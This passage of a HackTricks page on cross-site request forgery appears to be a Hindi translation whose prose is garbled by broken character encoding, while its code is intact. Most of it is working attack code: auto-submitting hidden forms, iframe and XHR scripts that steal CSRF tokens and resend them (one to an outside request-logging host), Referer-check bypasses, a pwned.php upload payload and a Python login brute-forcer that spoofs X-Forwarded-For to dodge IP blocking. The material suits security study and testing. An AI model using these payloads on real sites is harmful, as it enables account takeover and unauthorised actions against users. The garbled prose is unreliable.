рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдПрдХ рдкреНрд░реАрдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред рдлрд┐рд░ рднреА, рдЗрд╕ рд╕реАрдорд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдФрд░ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд░рдгрдиреАрддрд┐рдпрд╛рдБ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рд╕рд░реНрд╡рд░ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛ JSON рдбреЗрдЯрд╛ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИ:
- рд╡реИрдХрд▓реНрдкрд┐рдХ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: рдлреЙрд░реНрдо рдореЗрдВ
enctype="text/plain"
рд╕реЗрдЯ рдХрд░рдХреЗContent-Type: text/plain
рдпрд╛Content-Type: application/x-www-form-urlencoded
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкрд░реАрдХреНрд╖рдг рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдмреИрдХрдПрдВрдб рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЪрд╛рд╣реЗ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдХреБрдЫ рднреА рд╣реЛред - рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ: рдкреНрд░реАрдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЬрдмрдХрд┐ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рд╕рд░реНрд╡рд░ рд╕рд╛рдордЧреНрд░реА рдХреЛ JSON рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирддрд╛ рд╣реИ, рдЖрдк рдбреЗрдЯрд╛ рдХреЛ
Content-Type: text/plain; application/json
рдХреЗ рд╕рд╛рде рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдкреНрд░реАрдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдпрджрд┐ рд╕рд░реНрд╡рд░ рдХреЛapplication/json
рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рддреЛ рдЗрд╕реЗ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред - SWF рдлреНрд▓реИрд╢ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ: рдПрдХ рдХрдо рд╕рд╛рдорд╛рдиреНрдп рд▓реЗрдХрд┐рди рд╕рдВрднрд╡ рд╡рд┐рдзрд┐ рдореЗрдВ рдРрд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП SWF рдлреНрд▓реИрд╢ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рддрдХрдиреАрдХ рдХреА рдЧрд╣рди рд╕рдордЭ рдХреЗ рд▓рд┐рдП, рдЗрд╕ рдкреЛрд╕реНрдЯ рдХреЛ рджреЗрдЦреЗрдВред
рд░реЗрдлрд░рд░ / рдореВрд▓ рдЬрд╛рдВрдЪ рдмрд╛рдпрдкрд╛рд╕
рд░реЗрдлрд░рд░ рд╣реЗрдбрд░ рд╕реЗ рдмрдЪреЗрдВ
рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗрд╡рд▓ рддрдм 'Referer' рд╣реЗрдбрд░ рдХреЛ рдорд╛рдиреНрдп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрдм рдпрд╣ рдореМрдЬреВрдж рд╣реЛред рдЗрд╕ рд╣реЗрдбрд░ рдХреЛ рднреЗрдЬрдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд HTML рдореЗрдЯрд╛ рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
<meta name="referrer" content="never">
рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ 'Referer' рд╣реЗрдбрд░ рдХреЛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХреБрдЫ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдорд╛рдиреНрдпрддрд╛ рдЬрд╛рдВрдЪреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
Regexp рдмрд╛рдпрдкрд╛рд╕
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Referrer рджреНрд╡рд╛рд░рд╛ рднреЗрдЬреЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдЕрдВрджрд░ URL рдореЗрдВ рд╕рд░реНрд╡рд░ рдХрд╛ рдбреЛрдореЗрди рдирд╛рдо рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
HEAD рд╡рд┐рдзрд┐ рдмрд╛рдпрдкрд╛рд╕
рдЗрд╕ CTF рд▓реЗрдЦ рдХреЗ рдкрд╣рд▓реЗ рднрд╛рдЧ рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ Oak рдХрд╛ рд╕реНрд░реЛрдд рдХреЛрдб, рдПрдХ рд░рд╛рдЙрдЯрд░ рдХреЛ HEAD рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ GET рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрднрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдХреЛрдИ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдирд╣реАрдВ рд╣реИ - рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╕рдорд╛рдзрд╛рди рдЬреЛ Oak рдХреЗ рд▓рд┐рдП рдЕрджреНрд╡рд┐рддреАрдп рдирд╣реАрдВ рд╣реИред HEAD reqs рд╕реЗ рдирд┐рдкрдЯрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣реИрдВрдбрд▓рд░ рдХреЗ рдмрдЬрд╛рдп, рдЙрдиреНрд╣реЗрдВ рдмрд╕ GET рд╣реИрдВрдбрд▓рд░ рдХреЛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдРрдк рдмрд╕ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдХреЛ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИред
рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ GET рдЕрдиреБрд░реЛрдз рдХреЛ рд╕реАрдорд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдмрд╕ рдПрдХ HEAD рдЕрдиреБрд░реЛрдз рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ GET рдЕрдиреБрд░реЛрдз рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
рд╢реЛрд╖рдг рдЙрджрд╛рд╣рд░рдг
CSRF рдЯреЛрдХрди рдирд┐рдХрд╛рд▓рдирд╛
рдпрджрд┐ CSRF рдЯреЛрдХрди рдХреЛ рд░рдХреНрд╖рд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕реЗ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП XSS рднреЗрджреНрдпрддрд╛ рдпрд╛ Dangling Markup рднреЗрджреНрдпрддрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
HTML рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ GET
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
рдЕрдиреНрдп HTML5 рдЯреИрдЧ рдЬреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ GET рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">
рдлрд╝реЙрд░реНрдо GET рдЕрдиреБрд░реЛрдз
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
рдлрд╝реЙрд░реНрдо POST рдЕрдиреБрд░реЛрдз
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
iframe рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдлрд╝реЙрд░реНрдо POST рдЕрдиреБрд░реЛрдз
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Ajax POST рдЕрдиреБрд░реЛрдз
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2"
})
</script>
multipart/form-data POST рдЕрдиреБрд░реЛрдз
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
multipart/form-data POST рдЕрдиреБрд░реЛрдз v2
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
рдПрдХ iframe рдХреЗ рднреАрддрд░ Form POST рдЕрдиреБрд░реЛрдз
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
CSRF рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ рдФрд░ рдПрдХ POST рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
CSRF рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ рдФрд░ iframe, рдПрдХ рдлреЙрд░реНрдо рдФрд░ Ajax рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдкреЛрд╕реНрдЯ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
CSRF рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ рдФрд░ рдПрдХ iframe рдФрд░ рдПрдХ рдлреЙрд░реНрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ POST рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ рдФрд░ рдЗрд╕реЗ 2 iframes рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреЗрдЬреЗрдВ
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTAjax рдХреЗ рд╕рд╛рде CSRF рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ рдФрд░ рдПрдХ рдлреЙрд░реНрдо рдХреЗ рд╕рд╛рде рдкреЛрд╕реНрдЯ рднреЗрдЬреЗрдВ
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
CSRF with Socket.IO
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
});
</script>
CSRF рд▓реЙрдЧрд┐рди рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕
рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ CSRF рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд▓реЙрдЧрд┐рди рдлреЙрд░реНрдо рдХреЛ рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдпрд╣ рд╕рдВрднрд╛рд╡рд┐рдд IP рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯрд┐рдВрдЧ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП X-Forwarded-For рд╣реЗрдбрд░ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
Tools
References
- https://portswigger.net/web-security/csrf
- https://portswigger.net/web-security/csrf/bypassing-token-validation
- https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
тАЛ
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
рд╣реИрдХрд┐рдВрдЧ рдХреА рд░реЛрдорд╛рдВрдЪрдХ рдФрд░ рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝реЗрдВ
Real-Time Hack News
рддреЗрдЬ-рддрд░реНрд░рд╛рд░ рд╣реИрдХрд┐рдВрдЧ рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рд╛рде рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рдХреА рд╕рдорд╛рдЪрд╛рд░ рдФрд░ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрджреНрдпрддрд┐рдд рд░рд╣реЗрдВ
Latest Announcements
рдирд╡реАрдирддрдо рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд▓реЙрдиреНрдЪ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдЕрдкрдбреЗрдЯ рдХреЗ рд╕рд╛рде рд╕реВрдЪрд┐рдд рд░рд╣реЗрдВ
Join us on Discord and start collaborating with top hackers today!
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.